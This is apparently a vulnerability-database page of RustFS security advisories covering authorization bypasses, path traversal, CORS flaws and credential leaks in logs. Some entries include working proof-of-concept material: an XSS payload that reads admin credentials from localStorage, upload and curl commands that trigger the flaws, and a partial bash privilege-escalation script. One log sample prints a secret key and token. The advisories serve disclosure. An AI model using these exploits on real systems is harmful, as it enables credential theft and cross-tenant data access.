Where
-Infinity
0

Vendor Risk Score

See how rustfs compares to other vendors in security performance

View Risk Score →
Severity
8.1
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

RustFS is a distributed object storage system built in Rust. Prior to 1.0.0-beta.12, RustFS getconditionvalues folds attacker-controlled request headers from HeaderMap into server-derived userid, username, principaltype, groups, versionid, signatureversion, jwt:, and ldap: condition keys, allowing authenticated callers to satisfy identity-based policy conditions. This issue is fixed in version 1.0.0-beta.12.

First published (updated )
Severity
9
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

RustFS Console is a web management console for the RustFS distributed file system. From 0.1.7 until 0.1.10, the RustFS Console components/object/preview-modal.tsx and components/object/pdf-viewer.tsx extension-based PDF preview path can render HTML content uploaded as .pdf, allowing stored cross-site scripting in the management console and exposure of administrator AccessKeyId, SecretAccessKey, and SessionToken values. This is caused by a regression of CVE-2026-27822. This vulnerability is fixed in 0.1.10.

First published (updated )
Severity
8.6
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

RustFS is a distributed object storage system built in Rust. In 1.0.0-beta.4, authenticated users with only PutObject permission on their own bucket can exploit a path traversal vulnerability in the Snowball auto-extract feature to write arbitrary objects into other users' buckets, completely breaking multi-tenant isolation. The vulnerability chains three flaws: No ../ sanitization in tar entry key normalization; IAM wildcard matching uses raw (uncleaned) paths; and Filesystem path cleaning resolves ../ across bucket boundaries.

First published (updated )
Severity
9.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

RustFS is a distributed object storage system built in Rust. Prior to 1.0.0-beta.2, improper validation in the PUT /rustfs/admin/v3/import-iam endpoint allows a user with ImportIAMAction to create service accounts under arbitrary parent identities, including the root user (minioadmin). The endpoint accepts attacker-controlled parent, claims, accessKey, and secretKey values without enforcing privilege boundaries or sanitization. This enables privilege escalation to full administrative access using a persistent, attacker-defined credential. This vulnerability is fixed in 1.0.0-beta.2.

First published (updated )
Severity
6
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

RustFS is a distributed object storage system built in Rust. Prior to 1.0.0-beta.2, when RUSTFSCORSALLOWEDORIGINS is unset, the RustFS S3 listener's ConditionalCorsLayer reflects any request Origin value back as Access-Control-Allow-Origin and also sets Access-Control-Allow-Credentials: true and Access-Control-Allow-Headers: on responses, including preflight responses and error responses. This creates a permissive cross-domain policy with untrusted origins. A browser visiting an attacker-controlled page can issue credentialed cross-origin requests to a reachable RustFS deployment and read the response when the victim browser has ambient credentials for the RustFS origin, such as saved HTTP Basic Auth credentials, reverse-proxy SSO cookies, or TLS client certificates. This vulnerability is fixed in 1.0.0-beta.2.

First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

RustFS is a distributed object storage system built in Rust. Prior to 1.0.0-beta.2, the internode RPC layer authenticates every request with an HMAC-SHA256 signature using a shared secret. The function that produces this secret, getsharedsecret() in crates/ecstore/src/rpc/httpauth.rs, falls back to the public, source-tree-embedded DEFAULTSECRETKEY = "rustfsadmin" when neither the RUSTFSRPCSECRET environment variable nor the global S3 secret key has been configured. This vulnerability is fixed in 1.0.0-beta.2.

First published (updated )
Severity
5.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

RustFS is a distributed object storage system built in Rust. Prior to 1.0.0-beta.2, RustFS suffers from sensitive information leakage in log outputs. When the server is run with RUSTLOG=debug sensitive credentials including SessionToken (JWT), SecretAccessKey, and full JWT claims are printed in plaintext to the server logs. This vulnerability is fixed in 1.0.0-beta.2.

First published (updated )
Severity
8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

RustFS is a distributed object storage system built in Rust. Prior to 1.0.0-beta.2, crates/appauth/src/token.rs ships a 2048-bit RSA private key as a string constant named TESTPRIVATEKEY and uses it in production via parselicense() to "verify" license tokens. Because the key is embedded in every published source release and binary, anyone who can read the repository or extract it from the binary can mint arbitrary license tokens (any subject, any expiration). When the license Cargo feature is enabled, this defeats the entire license-enforcement mechanism. This vulnerability is fixed in 1.0.0-beta.2.

First published (updated )
Severity
7.1
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

RustFS is a distributed object storage system built in Rust. Prior to 1.0.0-beta.2, improper authorization in the UploadPartCopy operation allows copying objects across buckets without enforcing destination bucket restrictions on allowed copy sources. The implementation validates GetObject permission on the source bucket and PutObject on the destination bucket independently, but does not enforce any policy constraints on whether the destination bucket permits the specified copy source. This enables unauthorized cross-bucket data movement. This vulnerability is fixed in 1.0.0-beta.2.

First published (updated )
Severity
8.8
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

RustFS is a distributed object storage system built in Rust. Prior to 1.0.0-beta.2, the admin router explicitly whitelists /profile/cpu and /profile/memory from the authentication layer, allowing any unauthenticated HTTP client to invoke profiling handlers without credentials. On supported builds (e.g., glibc), the handler invokes a fixed 60-second CPU profiling operation (dumpcpupproffor(Duration::fromsecs(60))). This may result in significant CPU resource consumption per request and can potentially lead to denial of service when abused. Additionally, the handler returns the server’s absolute filesystem path in the response body, resulting in information disclosure. This vulnerability is fixed in 1.0.0-beta.2.

First published (updated )
Severity
6.9
Infoleak
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

RustFS is a distributed object storage system built in Rust. Prior to 1.0.0-beta.2, the RustFS console endpoint GET /rustfs/console/license returns parsed license metadata without requiring authentication. The endpoint is registered on the console listener and returns JSON containing license information such as the license subject and expiration timestamp. Any client that can reach the console listener can query this endpoint without credentials. This vulnerability is fixed in 1.0.0-beta.2.

First published (updated )
Severity
8.3
SSRF, CRLF Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Missing Admin Auth on Notification Target Endpoints in RustFS

Finding Summary

All four notification target admin API endpoints in rustfs/src/admin/handlers/event.rs use a checkpermissions helper that validates authentication only (access key + session token), without performing any admin-action authorization via validateadminrequest. Every other admin handler in the codebase correctly calls validateadminrequest with a specific AdminAction. This is the only admin handler file that skips authorization.

A non-admin user can overwrite a shared admin-defined notification target by name, causing subsequent bucket events to be delivered to an attacker-controlled endpoint. This enables cross-user event interception and audit evasion.

What Was Proven Live

1. Authorization bypass on all four endpoints (03readonlyuserbypass.py) - PUT, GET list, GET arns, DELETE all return 200 for readonly-user - Control routes (list-users, kms/status) correctly return 403 - Unauthenticated requests correctly rejected (403 Signature required)

2. SSRF via health probe (04ssrflistenerlanding.py) - HEAD request from rustfs container to attacker-controlled listener - No host validation: only scheme check (http/https)

3. Target hijacking and event exfiltration (05targethijacking.py, 06fulleventexfil.py) - Readonly-user overwrites admin-configured target URL by name - Subsequent S3 events delivered to attacker-controlled endpoint - Captured event body includes object keys, bucket names, user identities, and request metadata

4. Audit evasion (05targethijacking.py) - Readonly-user can delete unbound targets - Readonly-user can overwrite bound targets (silently redirecting events)

Escalation Vectors Tested But Not Viable

1. Self-referencing webhook to admin API (13selfreferencingtest.py) - Webhook sends unsigned POST with event JSON body - Admin endpoints require SigV4 auth -- unsigned request rejected - "Confused deputy" via self-referencing does NOT work

2. Protocol smuggling via non-HTTP targets - Only 2 target types implemented: webhook and MQTT (event.rs:613 enforces this) - No Redis, Kafka, AMQP, or other protocol targets exist - CRLF injection in webhook config fields sanitized by reqwest - MQTT uses rumqttc (pure Rust binary protocol client), no raw TCP injection

3. MQTT target for RCE - No unsafe code in MQTT handler - rumqttc 0.29.0 has no known public CVEs - No Command::new, template engines, or deserialization of broker responses

4. Unauth access - Endpoints correctly reject unauthenticated requests (403) - Endpoints correctly reject invalid credentials (403)

Prior Art

No existing advisory covers notification target endpoints. 11 published GHSAs on rustfs/rustfs cover different handlers. Closest: - CVE-2026-22042 (ImportIam wrong action constant) -- same bug class, different file - CVE-2026-22043 (denyonly short-circuit) -- different bug class

Recommendation

Submit via GitHub PVR. The finding is well-supported with live PoC, code references, and clear root cause. The fix is straightforward (add validateadminrequest calls to event.rs handlers). Core submission should reference 2-3 focused PoC scripts (readonly bypass, target hijack, event exfil), not the full set of 13 exploratory scripts.

Koda Reef

Patch This issue has been patched in version https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.94.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

RustFS contains a missing authorization check in the multipart copy path (UploadPartCopy). A low-privileged user who cannot read objects from a victim bucket can still exfiltrate victim objects by copying them into an attacker-controlled multipart upload and completing the upload.

This breaks tenant isolation in multi-user / multi-tenant deployments.

Impact Unauthorized cross-bucket / cross-tenant data exfiltration (Confidentiality: High).

An attacker with only minimal permissions on their own bucket (multipart upload + Put/Get on destination objects) can copy and retrieve objects from a victim bucket without having s3:GetObject (or equivalent) permission on the source.

In the attached PoC, the attacker successfully exfiltrates a 5MB private object and proves integrity via matching SHA256 and size.

Threat Model (Realistic) - Victim tenant/user owns a bucket (e.g., victim-bucket-) and stores private objects (e.g., private/financedump.bin). - Attacker tenant/user has no permissions on the victim bucket: - cannot ListObjects, HeadObject, GetObject, or CopyObject from the victim bucket. - Attacker has minimal permissions only on attacker bucket: - CreateMultipartUpload, UploadPart, UploadPartCopy, CompleteMultipartUpload, AbortMultipartUpload, - and PutObject/GetObject for objects in attacker bucket. - Despite this, attacker can exfiltrate victim objects via multipart copy.

Root Cause Analysis The access control layer fails open for multipart copy-related operations:

File: rustfs/src/storage/access.rs - abortmultipartupload() returns Ok(()) without authorization (L435–437) - completemultipartupload() returns Ok(()) without authorization (L442–444) - uploadpartcopy() returns Ok(()) without authorization (L1446–1448)

In contrast, copyobject() correctly enforces authorization: - source GetObject authorization (L469) - destination PutObject authorization (L478)

The multipart copy implementation reads the source object directly:

File: rustfs/src/app/multipartusecase.rs - store.getobjectreader(&srcbucket, &srckey, ...) (L959–962)

Because uploadpartcopy() does not enforce source GetObject authorization, the server reads and copies victim data even when the requester lacks permission.

Affected Versions - Tested vulnerable on: main @ c1d5106acc3480c275a52344df84633bb6dcd8f0 - Git describe: 1.0.0-alpha.86-3-gc1d5106a

The fail-open authorization behavior for UploadPartCopy was introduced in: - Commit: 09ea11c13 (per git blame on rustfs/src/storage/access.rs:1443-1448)

Affected range (recommended wording): - All versions from commit 09ea11c13 through c1d5106acc3480c275a52344df84633bb6dcd8f0 (and likely any releases containing those commits) until a fix is applied.

Package version (Cargo metadata) - rustfs crate version in this tree: 0.0.5 (cargo metadata)

Proof of Concept (PoC) – Real Commands + Verified Results

Files Place the PoC script at the repository root:

- PoC script: pocuploadpartcopyexfilv3.sh - Captured output: pocv3output.txt - (Optional) Redacted debug log: uploadpartcopydebugredacted.log (Authorization/signature redacted)

Environment RustFS running locally (Docker is simplest), listening on:

- http://127.0.0.1:9000

Tools: - awscli, jq, awscurl

Steps to Reproduce 1) Start RustFS (example):

bash docker compose -f docker-compose-simple.yml up -d

2. Run the PoC and save output:

bash chmod +x pocuploadpartcopyexfilv3.sh ./pocuploadpartcopyexfilv3.sh | tee pocv3output.txt

Attachments

pocuploadpartcopyexfilv3.sh pocv3output.txt

Expected Behavior

Attacker operations against victim bucket should be denied:

ListObjects -> AccessDenied HeadObject -> AccessDenied GetObject -> AccessDenied CopyObject -> AccessDenied UploadPartCopy from victim -> attacker multipart should also be denied.

Actual Behavior

All direct operations against victim are denied (as expected), but UploadPartCopy succeeds, and attacker retrieves the copied object from attacker bucket.

Observed PoC Output

Victim uploads a private object:

size: 5,242,880 bytes sha256: fda018db1da9d8f4c1b287c75943384a3b4ede391ec156039b6d94e17d6ad68f

Attacker exfiltrates it via multipart copy:

stolen size: 5,242,880 bytes stolen sha256: fda018db1da9d8f4c1b287c75943384a3b4ede391ec156039b6d94e17d6ad68f

Proof:

hashes and sizes match (victim == stolen) -> unauthorized cross-bucket read confirmed.

Network Evidence (Redacted)

The debug log shows a successful request with:

HTTP method: PUT destination: /<attacker-bucket>/<dst-key>?partNumber=1&uploadId=... header: x-amz-copy-source: <victim-bucket>/private/financedump.bin response: HTTP/1.1 200 with <CopyPartResult><ETag>...</ETag>...</CopyPartResult>

Fix

Implement authorization checks equivalent to copyobject() for multipart copy paths:

uploadpartcopy:

enforce source GetObject authorization on x-amz-copy-source enforce destination PutObject authorization on the target object (recommended) apply the same tag-condition enforcement used by copyobject() on the source.

completemultipartupload:

enforce destination PutObject authorization

abortmultipartupload:

enforce appropriate multipart permission (or destination PutObject as a safe boundary)

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
EPSS
0.03%
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Summary A Stored Cross-Site Scripting (XSS) vulnerability in the RustFS Console allows an attacker to execute arbitrary JavaScript in the context of the management console. By bypassing the PDF preview logic, an attacker can steal administrator credentials from localStorage, leading to full account takeover and system compromise.

Details The vulnerability exists due to improper validation of the response content type during the file preview process and a lack of origin separation between the S3 object delivery and the management console.

1. Origin of Credentials: The RustFS Console stores highly sensitive S3 credentials (AccessKey, SecretKey, SessionToken) in the browser's localStorage. - File: console/composables/useAuth.ts - Evidence: Lines 14 and 18-25 show that credentials are held in useLocalStorage('auth.credentials', {}) and useLocalStorage('auth.permanent', undefined). 2. Insecure Preview Implementation: In console/components/object/preview-modal.vue, the application identifies a PDF file based on its extension or metadata and renders it using an <iframe>. 3. Same-Origin Vulnerability: RustFS typically hosts the management console and the S3 API on the same origin (e.g., the same IP and port). 4. Bypass Attack: An attacker can upload a file named xss.pdf but set its Content-Type metadata to text/html. Because the iframe is hosted on the same origin as the console, the executed script has unrestricted access to the parent window's localStorage.

PoC <img width="6006" height="3096" alt="CleanShot 2026-02-01 at 18 36 54@2x" src="https://github.com/user-attachments/assets/f2f5dae6-1e19-4133-9a69-f7d8ec604dad" />

This PoC demonstrates how to steal a victim's administrative credentials by tricking them into previewing a malicious file.

1. Create the malicious payload (xss.html): html <script> alert('XSS Success!\nLocalStorage Data: ' + JSON.stringify(window.parent.localStorage)); </script>

2. Setup the environment and upload the payload: bash 1. Create a target bucket mc mb rustfs/my-bucket

2. Upload the HTML file as a PDF with HTML content type mc cp xss.html rustfs/my-bucket/xss.pdf --attr "Content-Type=text/html"

3. Trigger the vulnerability: 1. Login to the RustFS Console as an administrator. 2. Navigate to my-bucket. 3. Click the "Preview" button for the xss.pdf file. 4. The JavaScript executes, demonstrating access to the administrative session data.

Impact - Character: Stored Cross-Site Scripting (XSS). - Target: System Administrators using the Console. - Result: Full Account Takeover (ATO). An attacker gains the victim's AccessKeyId, SecretAccessKey, and SessionToken. This allows the attacker to perform any administrative action, including deleting data, creating backdoors, or downloading the entire filesystem via the S3 API.

Proposed Mitigation 1. Origin Separation: Implement a dedicated domain for data delivery (e.g., .data.rustfs.io) that is different from the console domain. This leverages the Same-Origin Policy (SOP) to isolate user-uploaded content. 2. Security Headers: Implement strict security headers in the backend: - Content-Security-Policy (CSP): Disallow inline scripts and restrict script execution. - X-Content-Type-Options: nosniff: Prevent browsers from sniffing and executing content that differs from the declared type.

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
EPSS
0.09%
Input Validation, XSS
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Summary RustFS does not validate policy conditions in presigned POST uploads (PostObject), allowing attackers to bypass content-length-range, starts-with, and Content-Type constraints. This enables unauthorized file uploads exceeding size limits, uploads to arbitrary object keys, and content-type spoofing, potentially leading to storage exhaustion, unauthorized data access, and security bypasses.

Details When generating presigned POST URLs via the AWS SDK, applications can specify policy conditions to restrict uploads. RustFS accepts these presigned requests but fails to validate the following conditions server-side:

1. content-length-range not enforced: The server does not verify that the uploaded file size falls within the specified minimum and maximum bounds. An attacker can upload arbitrarily large files despite restrictions. 2. starts-with not enforced: The server does not validate that the object key matches the required prefix. An attacker can modify the key field to upload files to any path in the bucket. 3. Content-Type (exact match) not enforced: The server does not verify that the uploaded file's content type matches the policy constraint. An attacker can upload files with any content type.

The vulnerability exists in the PostObject endpoint implementation, where the signed policy conditions are not parsed and validated against the actual upload request.

Impact Vulnerability Type: Improper Input Validation / Authorization Bypass Who is affected: Any application using RustFS as an S3-compatible backend that relies on presigned POST policy conditions for access control or upload restrictions. Potential attack scenarios: 1. Storage Exhaustion / Denial of Service: Attackers can upload arbitrarily large files, bypassing size limits, potentially filling up disk space and causing service outages. 2. Unauthorized Data Access/Modification: By bypassing starts-with conditions, attackers can upload files to restricted paths (e.g., overwriting configuration files, accessing other users' directories in multi-tenant systems). 3. Content-Type Spoofing: Bypassing content-type restrictions could enable serving malicious content (e.g., HTML/JavaScript files in contexts expecting only images), potentially leading to XSS attacks if files are served to browsers.

Severity: The vulnerability allows complete bypass of server-enforced upload policies, undermining the security model that applications rely upon.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.06%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary RustFS logs sensitive credential material (access key, secret key, session token) to application logs at INFO level. This results in credentials being recorded in plaintext in log output, which may be accessible to internal or external log consumers and could lead to compromise of sensitive credentials. This vulnerability is classified as an information disclosure issue (CWE-532).

Details The server writes newly generated STS credential information including the access key, secret key, and session token to logs. The following excerpts from application logs demonstrate this:

[2026-01-17 09:13:23.127767 +11:00] INFO [rustfs::admin::handlers::sts] [rustfs/src/admin/handlers/sts.rs:138] [rustfs-worker:ThreadId(4)] AssumeRole get newcred Credentials { accesskey: "5UGH6TM44IPA81AH1WZE", secretkey: "3BQ-KnOiB5ovmd5SU4wIK6sFfaPTliftvQiNLS", sessiontoken: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJleHAiOjE3Njg2NDQ4MDMsInBhcmVudCI6InJ1c3Rmc2FkbWluIn0.F9ZhARXyU0cB6QoFMElKK5tnsRFQM9WlpMiGVuuDOpOfNrbEKE9IK1oaJyqDsBlK115uYOcQcGohjgUPhOQ", expiration: Some(2026-01-17 10:13:23.0 +00:00:00), status: "on", parentuser: "rustfsadmin", groups: None, claims: None, name: None, description: None } By inspecting logs, an attacker or unauthorized internal user with access to logs could retrieve these credentials and use them to authenticate to RustFS services or perform other unauthorized actions.

Impact - Information Exposure: Plaintext authentication credentials appear in log files that may be retained, backed up, or forwarded to centralized logging systems. - Credential Compromise: Access keys, secret keys, and session tokens may be used by unauthorized individuals to authenticate to RustFS services or hijack sessions. - Insider Threat: Even users with limited access who can read logs may gain elevated access if they retrieve credential material. - Compliance Risk: Logging sensitive authentication material may violate organizational policies and industry compliance standards (e.g., PCI-DSS, SOC2, ISO 27001) that forbid exposure of authentication secrets in logs

Remediation - Do not include secrets in log output — redact secretkey, sessiontoken, and similar fields. - Log only safe identifiers such as non-sensitive IDs (e.g., parentuser, trace ID).

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary IP-based access control can be bypassed: getconditionvalues trusts client-supplied X-Forwarded-For/X-Real-Ip without verifying a trusted proxy, so any reachable client can spoof aws:SourceIp and satisfy IP-allowlist policies.

Details

- Vulnerable code: rustfs/src/auth.rs:289-304 sets remoteaddr from X-Forwarded-For/X-Real-Ip, then inserts SourceIp via getsourceipraw, with no trust boundary or proxy validation: - let remoteaddr = header.get("x-forwarded-for").andthen(...).orelse(|| header.get("x-real-ip")...).unwrapor("127.0.0.1"); - args.insert("SourceIp", vec![getsourceipraw(header, remoteaddr)]); - This value feeds IAM/bucket policy evaluation in rustfs/src/storage/access.rs (authorization path), so any request that forges the header can meet aws:SourceIp conditions. - No authentication is required beyond the request itself; the header is taken at face value even on direct connections.

PoC

rustfs-auth-trusted-ip-header-spoofing-poc.tar.gz

Steps (already included in rustfs-auth-trusted-ip-header-spoofing-poc/):

1. Start RustFS with two local volumes, e.g.:

mkdir -p /tmp/rustfs-data1 /tmp/rustfs-data2 RUSTFSACCESSKEY=devadmin RUSTFSSECRETKEY=devadmin \ cargo run --bin rustfs -- --address 0.0.0.0:9000 \ /tmp/rustfs-data1 /tmp/rustfs-data2

2. From rustfs-auth-trusted-ip-header-spoofing-poc/, run:

ENDPOINT=http://127.0.0.1:9000 make run

The script: - Creates bucket rustfs-trusted-ip-poc. - Applies a bucket policy allowing s3:ListBucket only from 10.0.0.5/32 (Principal: {"AWS":[""]}, Resource array). - Sends three unauthenticated ListBucket calls: - Baseline (no spoof) → HTTP 403. - Spoofed X-Forwarded-For: 10.0.0.5 → HTTP 200 (policy bypass). - Spoofed X-Forwarded-For: 1.2.3.4 → HTTP 403. - Responses saved to poc-baseline.xml, poc-spoofed.xml, poc-deny.xml.

Impact

- Vulnerability type: Authorization bypass of IP-allowlist (aws:SourceIp) via header spoofing. - Who is impacted: Any deployment relying on aws:SourceIp in IAM/bucket policies for S3 operations. Attackers with network reach to RustFS can forge forwarded-IP headers to gain list/read/write where IP restrictions were meant to block them.

Credits Identified by SecMate (https://secmate.dev) automated analysis and validated during manual triage.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.05%
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Invalid RPC signatures cause the server to log the shared HMAC secret (and expected signature), which exposes the secret to log readers and enables forged RPC calls.

Details In crates/ecstore/src/rpc/httpauth.rs:115-122 , the invalid signature branch logs sensitive data: rs if signature != expectedsignature { error!( "verifyrpcsignature: Invalid signature: secret {}, url {}, method {}, timestamp {}, signature {}, expectedsignature {}", secret, url, method, timestamp, signature, expectedsignature );

return Err(std::io::Error::other("Invalid signature")); }

This log line includes secret and expectedsignature, both derived from the shared HMAC key. Any invalidly signed request triggers this path. The function is reachable from RPC and admin request handlers.

PoC 1. Run RustFS with error logging enabled. 1. Send a request with an invalid signature: ts=$(date +%s) curl -v \ -H "x-rustfs-timestamp: $ts" \ -H "x-rustfs-signature: invalid-signature" \ "http://localhost:9000/rustfs/rpc/readfilestream?disk=foo&volume=bar&path=baz&offset=0&length=1" 1. Observed output: HTTP 403 AccessDenied: Invalid signature verifyrpcsignature: Invalid signature: secret rustfsadmin, url /rustfs/rpc/readfilestream?disk=foo&volume=bar&path=baz&offset=0&length=1, method GET, timestamp 1767852115, signature invalid-signature, expectedsignature oisNxNRTb80GXf97s/PGdScJzu8QB9Oxs+uOwf8RiK8= Impact

- Exposes the shared RPC HMAC secret to log readers. - Enables attackers with log access to forge valid RPC signatures and make unauthorized RPC calls.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
EPSS
0.05%
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

A flawed denyonly short-circuit in RustFS IAM allows a restricted service account or STS credential to self-issue an unrestricted service account, inheriting the parent’s full privileges. This enables privilege escalation and bypass of session/inline policy restrictions.

Details

akin to MinIO CVE-2025-62506

- Policy evaluation: Policy::isallowed returns true when denyonly=true if no explicit Deny is hit, skipping all Allow checks (crates/policy/src/policy/policy.rs:66-74). - Service account creation path sets denyonly=true when the target user equals the caller or its parent (rustfs/src/admin/handlers/serviceaccount.rs:114-127). - Service accounts are created without sessionpolicy by default, so claims lack SESSIONPOLICYNAME; combined with denyonly, self-operations are allowed without Allow statements. - Result: a limited service account/STS can create a new service account without policy and obtain the parent’s full rights (even root), bypassing original restrictions.

Key code references:

- crates/policy/src/policy/policy.rs (denyonly short-circuit) - rustfs/src/admin/handlers/serviceaccount.rs: (denyonly set for self/parent target) - crates/iam/src/sys.rs (service account creation defaults, no sessionpolicy)

PoC

Requires awscli, awscurl, jq, RustFS at http://127.0.0.1:9000, root AK/SK rustfsadmin/rustfsadmin. Run:

bash #!/usr/bin/env bash set -euo pipefail

===================== Config ===================== ENDPOINT="${ENDPOINT:-http://127.0.0.1:9000}" ROOTAK="${ROOTAK:-rustfsadmin}" ROOTSK="${ROOTSK:-rustfsadmin}" PARENTAK="${PARENTAK:-restricted}" PARENTSK="${PARENTSK:-restricted123}" CHILDAK="${CHILDAK:-evilchild}" CHILDSK="${CHILDSK:-evilchild123}" AWSREGION="${AWSREGION:-us-east-1}"

Tools AWSCURLBIN="${AWSCURLBIN:-$HOME/Library/Python/3.13/bin/awscurl}" AWSBIN="${AWSBIN:-aws}" JQBIN="${JQBIN:-jq}"

Disable proxies for local endpoint export HTTPPROXY= export HTTPSPROXY= export NOPROXY=127.0.0.1,localhost

===================== Helpers ===================== awscmd() { local ak="$1" sk="$2" shift 2 AWSACCESSKEYID="$ak" AWSSECRETACCESSKEY="$sk" "$AWSBIN" --endpoint-url "$ENDPOINT" "$@" }

awscurladmin() { local ak="$1" sk="$2" shift 2 AWSACCESSKEYID="$ak" AWSSECRETACCESSKEY="$sk" \ "$AWSCURLBIN" --service s3 --region "$AWSREGION" --accesskey "$ak" --secretkey "$sk" "$@" }

timestampiso() { python - <<'PY' import datetime print((datetime.datetime.now(datetime.timezone.utc)+datetime.timedelta(hours=1)).isoformat()) PY }

===================== Cleanup ===================== echo "[+] cleanup service accounts (ignore errors)" for ak in "$CHILDAK" "$PARENTAK"; do awscurladmin "$ROOTAK" "$ROOTSK" -X DELETE "$ENDPOINT/rustfs/admin/v3/delete-service-accounts?accessKey=$ak" >/dev/null 2>&1 || true done

echo "[+] cleanup buckets" for b in bucket1 bucket2 bucket3; do awscmd "$ROOTAK" "$ROOTSK" s3 rb "s3://$b" --force >/dev/null 2>&1 || true done

===================== Setup ===================== echo "[+] create buckets" for b in bucket1 bucket2 bucket3; do awscmd "$ROOTAK" "$ROOTSK" s3 mb "s3://$b" || true done

echo "[+] seed bucket3 with marker object" printf "poc-marker\n" | awscmd "$ROOTAK" "$ROOTSK" s3 cp - s3://bucket3/poc-marker.txt

EXP="$(timestampiso)"

echo "[+] create restricted policy" RESTRICTEDPOLICY='{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": ["s3:ListBucket"], "Resource": ["arn:aws:s3:::bucket1", "arn:aws:s3:::bucket2"] }, { "Effect": "Allow", "Action": ["s3:GetObject", "s3:PutObject"], "Resource": ["arn:aws:s3:::bucket1/", "arn:aws:s3:::bucket2/"] } ] }'

